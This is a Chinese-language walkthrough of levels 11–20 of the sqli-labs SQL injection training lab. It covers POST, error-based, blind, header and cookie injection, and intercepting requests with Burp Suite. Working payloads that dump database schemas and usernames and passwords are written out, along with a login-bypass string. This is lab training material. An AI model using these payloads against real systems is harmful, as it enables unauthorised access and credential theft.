sqli-labs闖關之11-20關,第18關有burpsuit的具體使用方法


不管是第幾關,我們的最終目標是獲得用戶密碼,從而獲取最高權限!

11到21關的提交方式全是post型的,我這里使用burpsuit抓包軟件,也可以用hackbar選中的post,下面的實驗我們穿插的使用(用hackbar的時候我們的注釋符號用#,不能用--+,因為--+會出錯)

第十一關

 

從這一關開始,我們就進入到了POST注入的世界了。在接下來的幾關中我們將陸續介紹關於POST注入的方法以及技巧。

 

post是一種數據提交方式,它主要是指數據從客戶端提交到服務器端

首先我們發現他是單引號字符型注入

 

 判斷它有幾個顯示位,(看來是兩個)

 

 接下來我們使用  聯合查詢語句 union select 來進行爆破,使用union select的時候要注意,輸入的unname必須是一個不存在的,,否則將會輸出不出來

 

 

 首先獲取數據庫使用者  名稱權限,版本

 

獲取我們要爆破的數據庫名

獲得該數據庫中的表名

 

獲得列名,因為我們沒有指定數據庫,所以他把所有數據庫里面的users表的列名全都列出來,,

加上and table_schema=database()就可以指定該數據庫,注意users旁邊要加引號,不加會出錯

 

 獲得用戶名密碼

 

第十二關(注入格式將十一關的'換成 ") 就行)

和第十一關一樣,就是把單引號閉合換成雙引號變形閉合就可以啦  '     ——>    ")

 

 

 

第十三關

發現輸入完正確的輸入后,他不給我們回顯出來,說明這關是盲注了,就又和第五關一樣了,參考第五關。通過這關的名字我們可以判斷是單引號變形,就是‘)進行閉合

 Double Injection- String- with twist(雙注入 - 字符型 - 變形)

 

 

 

 

既然它返回錯誤信息了,說明有回顯,可以報錯注入。

樣例payload,,獲得數據庫名

 

在concat()中構造查詢語句,

爆數據庫名,版本,用戶, , ,有多少組用戶密碼,用戶和密碼

 1 uname= ') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit  2 
 3 uname= ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit  4 
 5 
 6 uname= ') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit  7 
 8 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit  9 
10 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit 11 
12 uname= ') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit 13 
14 uname= ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit

最后獲得用戶名和密碼

 (中間還可以用布爾型手工注入,正確會回顯,錯誤不回顯)

(第五關基本一樣,不再贅述)不會的可以看我上一篇文章很清晰的講述了如何到這步

 

第十四關

和第十三關基本一樣就是把單引號變形  變成  雙引號,過程不再贅述,最后獲得用戶名和密碼

這里用的布爾型手工注入,正確會回顯,錯誤不回顯(我這只截圖了一種方法,共有三種方法)

 

 

 

 

第十五關

這關題目是說時間延遲單引號盲注,那咱就用時間延遲吧,但是其實用上一關的布爾盲注也是完全可以的

 

 獲取用戶密碼

 

 

 

 

第十六關

和第十五關基本一樣,區別就是把單引號閉合變成了雙引好括號閉合,沒有回顯位,用時間盲注

時間盲注獲得用戶名

 

 布爾盲注得密碼(證明兩種方法都可以解題)

 

 還有一種更快的方法,我們大費周章就是為了獲得用戶名密碼。這種方法又叫做萬能密碼,就是我們即使不輸入密碼,用戶名只要寫成admin")#   這樣的形式就可以進去

 

 

第十七關

這關有點意思啦,我上來先用萬能密碼嘗試發現不能,經過單引號,雙引號以及變形,發現不管怎么樣都沒有得出我們想要的結果

后來通過查網頁和看php文件,我發現這關對username做了很嚴格的過濾,對各種引號括號進行了轉義,判斷。但是它沒有對password進行過濾,所有我們來對password進行爆破

我不經意間發現,這一關好像對密碼沒有進行驗證,只要你用戶名對,密碼是什么他都可以進去

這關我試了試好像不能進行布爾盲注和時間盲注,可以試試報錯型注入

使用updatexml(),它和extractvaule()是親兄弟、

獲取版本(可有可無,就是為了驗證這個方法是否可行)

 

 獲得庫名

 

 獲得表名

 

 獲得列名

 

 獲取字段使用報,,錯性注入會出現錯誤(出現這個錯誤You can't specify target table 'users' for update in FROM clause)

錯誤的意思是說,不能先select出同一表中的某些值,再update這個表(在同一語句中)

 

 對於這個問題,,可以采用雙層 select(),

 

 

第十八關

這關是 基於報錯注入,上一關沒有對password進行過濾,這關就進行過濾了,那怎么辦呢?

這關我們就要用burp抓包神器了(注意把瀏覽器設置成代理模式,抓包的網站不要用localhost,因為我試了試發現不能)

把瀏覽器設置為代理,,設置手動代理時,,將端口設置為8080

 

 

 Burp中設置,前面的勾一定要有,不然無法監聽

 

之后,開着burp,,,再去瀏覽器隨便點下Submit或者執行就行。

瀏覽器就會,一直處於刷新狀態    說明抓包成功

 

 我們先輸入一個admin,admin,,把包放回

 

這樣把包放回后,,,右得重新設置代理,抓包,太麻煩

我們直接把抓來的代碼全選,,發送到repeater,這樣咱們就不用在瀏覽器上一直輸入了,方便快捷

 

我們把這句話換成我們想要的查詢語句就可以了(使用extractvalue進行)和第12關的語句基本一樣

獲得數據庫名

 

 go完之后就可以直接在Burp上查看啦

 

還是那個地方,,把語句換成

'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

獲得數據庫表

 

 

換成:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '

獲得數據庫列名

 

獲得用戶名密碼(這里只顯示了一部分密碼,當然可以用not in來看其他的密碼)

'and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) and'

 

 

第十九關

這一關一進去輸入賬戶密碼就發現有一個Referer的東西,我猜就是改變它的值,事實確實如此,和上一關基本一樣就是把agent換成了referer

代理,抓包,修改headers中的User-Agent(十八關中修改的部分),獲得庫名……獲得用戶名和密碼,又是重復性動作了,和上一關語句都一樣,我就不截圖那么多了

 

第二十關

進來先輸入用戶名密碼,測試一下,發現是關於cookie值的進行注入,那我們就在這里注入

 

同樣的設置代理,抓包,,抓包后發送到repeater:

 

 在上圖划線部分注入,

改cookie:uname=admin',報錯,說明存在注入漏洞

 

 還是那老一套,看加不加單引號,怎么閉合,有幾個顯示位。

查看列數:uname=' order by 4 # (注意閉合sql語句)

判斷回顯位置:uname='union select 1,2,3#            最后發現是單引號閉合,有三個顯示位

爆庫名

 

表名,列名,都和第一關的payload一樣

表名和列名的語句

1 uname=-giao' union select 1,13,(select group_concat(table_name)from information_schema.tables where table_schema='security')--+
2 3 uname=-giao' union select 1,13,(select group_concat(column_name)from information_schema.columns where table_name='users')#

 

爆信息

11-20結束

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM